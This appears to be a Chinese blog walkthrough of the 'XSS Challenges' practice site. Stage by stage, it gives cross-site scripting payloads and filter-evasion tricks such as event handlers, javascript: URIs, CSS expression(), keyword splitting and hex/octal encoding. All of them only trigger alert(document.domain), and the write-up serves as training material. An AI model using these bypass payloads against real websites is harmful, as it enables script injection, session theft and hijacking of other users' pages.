XSS Challenges
 
XSS基础不好的建议优先查看
关于XSS中使用到的html编码 js编码各种场景用法
 
实在做不出来的时候可以看别人做题的笔记攻略:
 
 
 
stage#1
 
<img src=x onerror='alert(document.domain)'>
</b><script>alert(document.domain)</script><b>
 

Stage #2

Hint: close the current tag and add SCRIPT tag...
"><script>alert(document.domain);</script>
 
Stage #3 
使用bp改包把参数p2的值Japan替换为URL编码后的js代码
<script>alert(document.domain);</script>
%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E
 

Stage #4

通过抓包发现post请求多出来一个p3参数。原始值是hackme。我们把该参数值改为98765便于在输出的页面内进行搜索。
找到该参数的数值存放处后构造XSS代码
"><script>alert(document.domain);</script>
URL编码后替换掉p3的值
%22%3e%3cscript%3ealert(document.domain)%3b%3c%2fscript%3e
 

Stage #5

我们观察到P1参数的输入框限制了输入数值的长度,可以通过改包对长度限制进行突破
根据p1的value所在位置构造XSS代码
"><script>alert(document.domain);</script>
URL编码后替换掉p1的值
%22%3e%3cscript%3ealert(document.domain)%3b%3c%2fscript%3e
 

Stage #6

感觉和第五关类似结果同样的操作发现<>被进行了转译
此时我们就需要在不使用<>的情况下构造XSS代码
我们可以使用 input可以出发的一些时间来实现比如 onmouseover、onmouseenter、onclick、
" onmouseenter="alert(document.domain)"
%22+onmouseenter%3d%22alert(document.domain)%22
 

Stage #7

使用第六关的payload时发现onmouseenter的属性多包裹了一层""去掉即可
" onmouseenter=alert(document.domain)
%22+onmouseenter%3dalert(document.domain)
 

Stage #8

payload插入在a标签中使用JavaScript伪协议
javascript:alert(document.domain);
 
 

Stage #9

抓包发现多了一个charset参数,但是该参数值所在的input标签被隐藏
 
UTF-7编码 需要IE7环境很难实现 以后需要中心关注这一关 未实际完成
expression属性适用于IE6及以下
style='x:expression(alert(document.domain))'
 
热键触发
accesskey="X" onclick="alert(/waitalone.cn/)"
 
 

Stage #10

发现关键字domain被过滤,采用重复穿插双写绕过
" onmouseenter=alert(document.domdomainain)
%22+onmouseenter%3dalert(document.domdomainain)
 

Stage #11

Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
根据提示我们知道了 script on事件 style 都将被替换为非空字符串
 
其他地方遇到这种情况可以使用tab制表(%09)穿插在关键字内。
%09也就是tab制表符,使用在单个标签之内,会被浏览器`正确`去除,而在跨标签的时候(也就是闭合前面原有标签,使用在构造者构造的新标签的时候)不会被正确去除。也仅仅是%09,其十进制编码和十六进制编码都不会受影响。
后面测试发现%0a和%0d一样受到影响。
 
这里使用html5的换行符来代替制表符%09
"><a href=javascri&NewLine;pt&colon;alert(document.domain)>test</a> 
//&NewLine;是html5的换行符
//&colon;是冒号
 
" o&NewLine;nmouseenter=alert(document.domain)   无效
" o%09nmouseenter=alert(document.domain) 无效
 
通过object data属性新建了一个html插入到原有网页内,无法获取到原有页面的属性值?
"><object data="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==">
PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg== 为下一行经过base64编码后的结果
<script>alert(document.domain);</script>
可以弹窗但是无法取得想要的结果
 

Stage #12

使用如下payload测试发现<>被过滤了
"><a href=javascript:alert(document.domain)>test</a> 
ahref=javascript:alert(document.domain)test/a
 
IE的特性可以使用·来代替 '"引号
`` onclick=alert(document.domain)
 

Stage #13

提示非常明显,通过CSS来弹窗
style='x:expression(alert(document.domain))'        这样会不停的触发所以还是加一个触发条件比较好
aa:expression(onmouseover=function(){alert(document.domain)})  
 
background-image:url("javascript:alert(document.domain)")
background:url("javascript:alert(document.domain);");
 
注意!!IE11已不支持expression
 

Stage #14

 
发现expression、JavaScript、url等被替换为XXX 那么使用注释等方法把expression关键字分隔开即可
 
aa:expre/*xss*/ssion(onmouseover=function(){alert(document.domain)})  
 
绕过正则有4种隔离关键字方式
\    
\0    
\**\    /**/
把字母转码证Unicode编码 例如e转码成 \u0065
 
本关卡 \0 和注释方式可行    
 
 

Stage #15

document.write();
 
我们发现输入的字符串会使用document.write();输出在页面上。这样就可以使用js8进制16进制进行编码来XSS。
 
payload:
<script>alert(document.domain)</script> js16进制编码 发现\被过滤 替换为\\ 为什么不用8进制呢。。 因为把\替换为\\比较繁琐,不如\x替换成\\x来的方便。当然啦实际操作的时候使用8进制更加简短,xss的时候字符串的长度很关键
\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e
 

Stage #16

Hint: "document.write();" and "s/\\x/\\\\x/ig;"
js16进制编码根据提示发现 \\x 被过滤 \被过滤 上次偷懒没有使用的js8进制可以排上用场了。
 
<script>alert(document.domain)</script>
\\74\\163\\143\\162\\151\\160\\164\\76\\141\\154\\145\\162\\164\\50\\144\\157\\143\\165\\155\\145\\156\\164\\56\\144\\157\\155\\141\\151\\156\\51\\74\\57\\163\\143\\162\\151\\160\\164\\76
以后这种情况要专门写一个小程序依次把 \1 \2 \3....\7 替换为\\1 .... \\7
 
 

Stage #17

 

Stage #18

 
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
 

Stage #19

 
 
Solution: It’s DOMXSS Twitter’s bug (24 Sept.2010) — #!javascript:alert(document.domain)
Clear Stage: Need to entry the ranking deobfuscating js on this part of the code:
ty = “”;
o = unescape(“foejoh”);
for (var i = 0; i < o.length; i++) {
var y = o.charCodeAt(i);
ty += String.fromCharCode(y – 1)
}
ty = escape(ty);
if (ty == “ending”) {
sj = “\062\060”;
alert(“Congratulations!! All Stages Clear!!!”);
alert(“\x52\x61\x6e\x6b\x49\x6e\x67” + sj + “.php”);
document.location = “\x52\x61\x6e\x6b\x49\x6e\x67” + sj + “.php”
} else {
document.all(“msg”).innerHTML = “<span id=’h3′>Congratulations!!</span> &nbsp; ” + “Next stage <a href=\”” + ty + “\”>” + ty + “</a>.”
}
so  “\x52\x61\x6e\x6b\x49\x6e\x67” + sj + “.php” is RankIng20.php :-)
Final URL that allow entry directly in the clear stage. http://xss-quiz.int21h.jp/RankIng20.php

XSS练习平台-XSS Challenges的更多相关文章

  1. 在线xss练习平台

    在线xss练习平台 HTTPS://ALF.NU/ALERT1 这个是只要能输出alert1就算赢. No.1第一个就很简单了,什么都没有过滤,只需要闭合前面的标签就可以执行xss了. 1 " ...

  2. 1.6 xss挑战平台练习

    ------------------------- XSS挑战之旅 ------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.x ...

  3. 搭建XSS测试平台

    XSS测试平台是测试XSS漏洞获取cookie并接收web页面的平台,XSS可以做js能做的所有事情,包括但不限于窃取cookie,后台增删文章.钓鱼.利用xss漏洞进行传播.修改网页代码.网站重定向 ...

  4. xss练习平台及writeup

    今天玩了一天的xss. 分享几个xss game https://xss.haozi.me/#/0x00 http://47.94.13.75/test/  writeup:http://www.cn ...

  5. 反射型xss绕过IE xss filter

    反射xss利用方法,绕过IE XSS Filter 假设 1.php页面代码如下: echo $_GET['str']; 使用IE浏览器访问该页面 1.php?str=<xss code> ...

  6. XSS Attacks - Exploiting XSS Filter

    XSS Attacks - Exploiting XSS Filter mramydnei · 2015/12/21 10:11 from:http://l0.cm/xxn/ 0x00 前言 这又是一 ...

  7. (转) XSS Attacks – Exploiting XSS Filter

    中文翻译: from wooyun'drops 0x00 前言 这又是一篇来自全职赏金猎人Masato kinugawa的神作.一次双杀,用一篇报告拿下了两个CVE,分别是CVE-2015-6144和 ...

  8. xss小结-从xss平台搭建到csp规则

    0x00前言 xss是跨站脚本攻击,利用嵌入js代码达到‘控制’对方浏览器的作用,测试的时候我们是用alert(1)弹窗,而做CTF也好,实际中的漏洞利用也好一般是用xss获取管理员的cookie 0 ...

  9. DVWA1.9平台XSS小结

    LOW级别就不写了...... 直接上中高级别(结合源码更好理解) 1.XSS Reflected(Medium) 从源码中可以清楚的看到,输入的<script>标签被过滤掉了,看清了,只 ...

随机推荐

  1. hdu 6141 I am your Father!

    题 OvO http://acm.hdu.edu.cn/showproblem.php?pid=6141 (2017 Multi-University Training Contest - Team ...

  2. Luogu P2567 [SCOI2010]幸运数字 容斥+脑子

    双倍经验:BZOJ 2393 Cirno的完美算数教室 做法:先把$[1,r]$中所有的幸运数字筛出来,然后用这些幸运数字来筛$[l,r]$中的近似幸运号码: 剪枝:当一个幸运数字$a[i]$是另一个 ...

  3. am335x system upgarde ddr3 capacity configuration base on TI DDR3 Software Leveling Tool (二十)

    follow test is  use ti DDR Software Leveling op log. AM335x DDR3 Software Leveling -- Version: Beta ...

  4. BDD行为驱动简介及Pytest-bdd基础使用

    目录 BDD介绍 需求描述/用户场景 场景解析/实现 场景测试 Pytest-bdd的参数化 运行环境: pip insall pytest pytest-bdd pytest-selenium BD ...

  5. 发布mybatis-generator-core 1.3.5的中文注释版

    源码剖析介绍:基于mybatis-generator-core 1.3.5项目的修订版以及源码剖析 目前,我把该项目,发布到了Maven中央仓库中,可直接使用: 使用方式 在项目.pom中,添加以下部 ...

  6. ubuntu 17.04 添加用户到sudo组

    最近在系统中安装了KVM和docker,用KVM的时候好好的,可以直接使用virsh等命令.但是安装了docker,使用docker命令时需要在前面加上sudo,这个用起来就挺麻烦的,于是想到dock ...

  7. Mac下持续集成-Mac下Tomcat+Jenkins集成环境搭建

    一.MAC安装jdk及环境变量配置 1)访问Oracle官网 http://www.oracle.com,浏览到首页的底部菜单 ,然后按下图提示操作: 2)下载完成后点击安装包,按提示即可完成安装. ...

  8. react数据渲染

    现在需要在页面上显示一本书的章节,章节内容存放到一个数组里面: const lessons = [ { title: 'Lesson 1: title', description: 'Lesson 1 ...

  9. 前端知识点回顾——Javascript篇(三)

    数组的冒泡.选择和插入排序法 冒泡排序法(从小到大) function bubble(arr){ for(let i = 0 ;i<arr.length-1;i++){ for(let j = ...

  10. CSS 优先级法则

    样式的优先级 多重样式(Multiple Styles):如果外部样式.内部样式和内联样式同时应用于同一个元素,就是使多重样式的情况. 一般情况下,优先级如下: (外部样式)External styl ...